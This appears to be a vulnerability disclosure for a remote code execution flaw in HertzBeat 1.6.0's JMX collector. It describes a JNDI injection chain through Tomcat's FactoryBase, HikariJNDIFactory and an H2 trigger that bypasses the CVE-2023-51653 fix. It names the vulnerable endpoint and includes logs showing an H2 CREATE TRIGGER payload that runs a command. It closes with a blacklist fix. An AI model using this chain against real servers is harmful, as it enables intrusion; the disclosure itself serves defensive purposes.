Hello, we found a remote command execution vulnerability in hertzbeat 1.6.0. In JmxCollectImpl.java, JMXConnectorFactory.connect actually has JNDI injection, and we can control the Ref of RMIServer to achieve the remote command execution vulnerability.
0x02 RCE analysis
Found org.apache.naming.factory.FactoryBase in tomcat, which can cause a secondary ref, thereby bypassing the fix for CVE-2023-51653 and executing arbitrary code.
Here we can control the factory and assign it to an exploitable factory. The factory will be automatically initialized, and then call factory.getObjectInstance, which is enough for secondary Reference exploitation. Here we change the factory to com.zaxxer.hikari.HikariJNDIFactory to bypass the filter detection and trigger HikariJNDIFactory to load org.h2.Driver, triggering the arbitrary code execution vulnerability.
Submit the data at the/API/Monitor/Detect interface, that is, the JVM virtual machine in the monitoring item, fill in the service:jmx:rmi:///jndi/rmi://ip:port/object, http and the return package will read it. document content.
2024-10-10 21:00:27.330 [1000000000-jvm-basic-5239] ERROR org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl Line:124 - JMX IOException :Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is com.zaxxer.hikari.pool.HikariPool$PoolInitializationException: Failed to initialize pool: Error creating or initializing trigger "UNAM4" object, class "..source..", cause: "java.lang.NullPointerException: Cannot invoke ""org.h2.api.Trigger.init(java.sql.Connection, String, String, String, boolean, int)"" because ""this.triggerCallback"" is null"; see root cause for details; SQL statement: CREATE TRIGGER UNAM4 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec("open -a calculator");}$$ [90043-224]] 2024-10-10 21:00:27.331 [1000000000-jvm-basic-5239] INFO org.apache.hertzbeat.collector.dispatch.MetricsCollect Line:386 - [Collect Failed, Run 2092ms, All 2093ms] Reason: Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is com.zaxxer.hikari.pool.HikariPool$PoolInitializationException: Failed to initialize pool: Error creating or initializing trigger "UNAM4" object, class "..source..", cause: "java.lang.NullPointerException: Cannot invoke ""org.h2.api.Trigger.init(java.sql.Connection, String, String, String, boolean, int)"" because ""this.triggerCallback"" is null"; see root cause for details; SQL statement: CREATE TRIGGER UNAM4 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec("open -a calculator");}$$ [90043-224]] 2024-10-10 21:00:44.677 [jpa-metrics-cleaner-0] WARN org.apache.hertzbeat.warehouse.store.history.jpa.JpaDatabaseDataStorage Line:83 - [jpa-metrics-store]-start running expired data cleaner.Please use time series db instead of jpa for better performance 2024-10-10 21:00:44.936 [jpa-metrics-cleaner-0] INFO org.apache.hertzbeat.warehouse.store.history.jpa.JpaDatabaseDataStorage Line:103 - [jpa-metrics-store]-delete 0 rows. 2024-10-10 21:01:14.679 [jpa-metrics-cleaner-0] WARN org.apache.hertzbeat.warehouse.store.history.jpa.JpaDatabaseDataStorage Line:83 - [jpa-metrics-store]-start running expired data cleaner.Please use time series db instead of jpa for better performance 2024-10-10 21:01:14.681 [jpa-metrics-cleaner-0] INFO org.apache.hertzbeat.warehouse.store.history.jpa.JpaDatabaseDataStorage Line:103 - [jpa-metrics-store]-delete 0 rows. 2024-10-10 21:01:24.239 [1000000000-jvm-basic-4239] INFO org.apache.hertzbeat.collector.collect.common.cache.ConnectionCommonCache Line:191 - [connection common cache] not hit the cache, key CacheIdentifier {ip='127.0.0.1', port='9999', username+password=>hash='961', customArg='null'}. 2024-10-10 21:01:24.249 [1000000000-jvm-basic-4239] INFO com.zaxxer.hikari.HikariDataSource Line:80 - HikariPool-3 - Starting... 2024-10-10 21:01:25.601 [1000000000-jvm-basic-4239] ERROR com.zaxxer.hikari.pool.HikariPool Line:594 - HikariPool-3 - Exception during pool initialization. org.h2.jdbc.JdbcSQLSyntaxErrorException: Error creating or initializing trigger "UNAM4" object, class "..source..", cause: "java.lang.NullPointerException: Cannot invoke ""org.h2.api.Trigger.init(java.sql.Connection, String, String, String, boolean, int)"" because ""this.triggerCallback"" is null"; see root cause for details; SQL statement: CREATE TRIGGER UNAM4 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec("open -a calculator");}$$ [90043-224] at org.h2.message.DbException.getJdbcSQLException(DbException.java:644) at org.h2.message.DbException.getJdbcSQLException(DbException.java:489) at org.h2.message.DbException.get(DbException.java:212) at org.h2.schema.TriggerObject.load(TriggerObject.java:95) at org.h2.schema.TriggerObject.setTriggerAction(TriggerObject.java:149) at org.h2.schema.TriggerObject.setTriggerSource(TriggerObject.java:142) at org.h2.command.ddl.CreateTrigger.update(CreateTrigger.java:125) at org.h2.command.CommandContainer.update(CommandContainer.java:169) at org.h2.command.Command.executeUpdate(Command.java:256) at org.h2.engine.Engine.openSession(Engine.java:280) at org.h2.engine.Engine.createSession(Engine.java:201) at org.h2.engine.SessionRemote.connectEmbeddedOrServer(SessionRemote.java:343) at org.h2.jdbc.JdbcConnection.<init>(JdbcConnection.java:125) at org.h2.Driver.connect(Driver.java:59) at com.zaxxer.hikari.util.DriverDataSource.getConnection(DriverDataSource.java:121) at com.zaxxer.hikari.pool.PoolBase.newConnection(PoolBase.java:359) at com.zaxxer.hikari.pool.PoolBase.newPoolEntry(PoolBase.java:201) at com.zaxxer.hikari.pool.HikariPool.createPoolEntry(HikariPool.java:470) at com.zaxxer.hikari.pool.HikariPool.checkFailFast(HikariPool.java:561) at com.zaxxer.hikari.pool.HikariPool.<init>(HikariPool.java:100) at com.zaxxer.hikari.HikariDataSource.<init>(HikariDataSource.java:81) at com.zaxxer.hikari.HikariJNDIFactory.createDataSource(HikariJNDIFactory.java:63) at com.zaxxer.hikari.HikariJNDIFactory.getObjectInstance(HikariJNDIFactory.java:51) at org.apache.naming.factory.FactoryBase.getObjectInstance(FactoryBase.java:96) at java.naming/javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:342) at jdk.naming.rmi/com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:501) at jdk.naming.rmi/com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:140) at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:220) at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409) at java.management.rmi/javax.management.remote.rmi.RMIConnector.findRMIServerJNDI(RMIConnector.java:1839) at java.management.rmi/javax.management.remote.rmi.RMIConnector.findRMIServer(RMIConnector.java:1813) at java.management.rmi/javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:302) at java.management/javax.management.remote.JMXConnectorFactory.connect(JMXConnectorFactory.java:270) at org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl.getConnectSession(JmxCollectImpl.java:213) at org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl.collect(JmxCollectImpl.java:95) at org.apache.hertzbeat.collector.dispatch.MetricsCollect.run(MetricsCollect.java:155) at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) at java.base/java.lang.Thread.run(Thread.java:842) Caused by: java.lang.NullPointerException: Cannot invoke "org.h2.api.Trigger.init(java.sql.Connection, String, String, String, boolean, int)" because "this.triggerCallback" is null at org.h2.schema.TriggerObject.load(TriggerObject.java:90) ... 35 common frames omitted 2024-10-10 21:01:25.603 [1000000000-jvm-basic-4239] ERROR org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl Line:124 - JMX IOException :Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is com.zaxxer.hikari.pool.HikariPool$PoolInitializationException: Failed to initialize pool: Error creating or initializing trigger "UNAM4" object, class "..source..", cause: "java.lang.NullPointerException: Cannot invoke ""org.h2.api.Trigger.init(java.sql.Connection, String, String, String, boolean, int)"" because ""this.triggerCallback"" is null"; see root cause for details; SQL statement: CREATE TRIGGER UNAM4 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec("open -a calculator");}$$ [90043-224]] 2024-10-10 21:01:25.603 [1000000000-jvm-basic-4239] INFO org.apache.hertzbeat.collector.dispatch.MetricsCollect Line:386 - [Collect Failed, Run 1364ms, All 1365ms] Reason: Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is com.zaxxer.hikari.pool.HikariPool$PoolInitializationException: Failed to initialize pool: Error creating or initializing trigger "UNAM4" object, class "..source..", cause: "java.lang.NullPointerException: Cannot invoke ""org.h2.api.Trigger.init(java.sql.Connection, String, String, String, boolean, int)"" because ""this.triggerCallback"" is null"; see root cause for details; SQL statement: CREATE TRIGGER UNAM4 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec("open -a calculator");}$$ [90043-224]] 2024-10-10 21:01:44.679 [jpa-metrics-cleaner-0] WARN org.apache.hertzbeat.warehouse.store.history.jpa.JpaDatabaseDataStorage Line:83 - [jpa-metrics-store]-start running expired data cleaner.Please use time series db instead of jpa for better performance 2024-10-10 21:01:44.683 [jpa-metrics-cleaner-0] INFO org.apache.hertzbeat.warehouse.store.history.jpa.JpaDatabaseDataStorage Line:103 - [jpa-metrics-store]-delete 0 rows. 2024-10-10 21:01:51.109 [common-worker-0] INFO org.apache.hertzbeat.remoting.netty.NettyRemotingServer Line:123 - server shutdown now! 2024-10-10 21:01:51.110 [metrics-task-dispatcher] INFO org.apache.hertzbeat.collector.dispatch.CommonDispatcher Line:129 - [Dispatcher]-metrics-task-dispatcher has been interrupt to close. 2024-10-10 21:01:51.114 [SpringApplicationShutdownHook] INFO org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean Line:650 - Closing JPA EntityManagerFactory for persistence unit 'default' 2024-10-10 21:01:51.308 [metrics-task-dispatcher] INFO org.apache.hertzbeat.collector.dispatch.CommonDispatcher Line:135 - Thread Interrupted, Shutdown the [metrics-task-dispatcher] 2024-10-10 21:01:51.309 [SpringApplicationShutdownHook] INFO com.zaxxer.hikari.HikariDataSource Line:350 - HikariPool-1 - Shutdown initiated... 2024-10-10 21:01:51.309 [netty-server-boss-0] INFO io.netty.handler.logging.LoggingHandler Line:148 - [id: 0x1539d0b1, L:/[0:0:0:0:0:0:0:0]:1158] INACTIVE 2024-10-10 21:01:51.310 [netty-server-boss-0] INFO io.netty.handler.logging.LoggingHandler Line:148 - [id: 0x1539d0b1, L:/[0:0:0:0:0:0:0:0]:1158] UNREGISTERED 2024-10-10 21:01:51.311 [SpringApplicationShutdownHook] INFO com.zaxxer.hikari.HikariDataSource Line:352 - HikariPool-1 - Shutdown completed. 2024-10-10 21:01:51.316 [SpringApplicationShutdownHook] INFO com.usthe.sureness.configuration.SurenessJakartaServletFilter Line:55 - servlet surenessFilter destroyed
After execution, the computer pops up
0x04 Repair suggestions
Add blacklist to four classes: org.apache.naming.factory.EjbFactory, org.apache.naming.factory.ResourceEnvFactory, org.apache.naming.factory.ResourceFactory, org.apache.naming.factory.TransactionFactory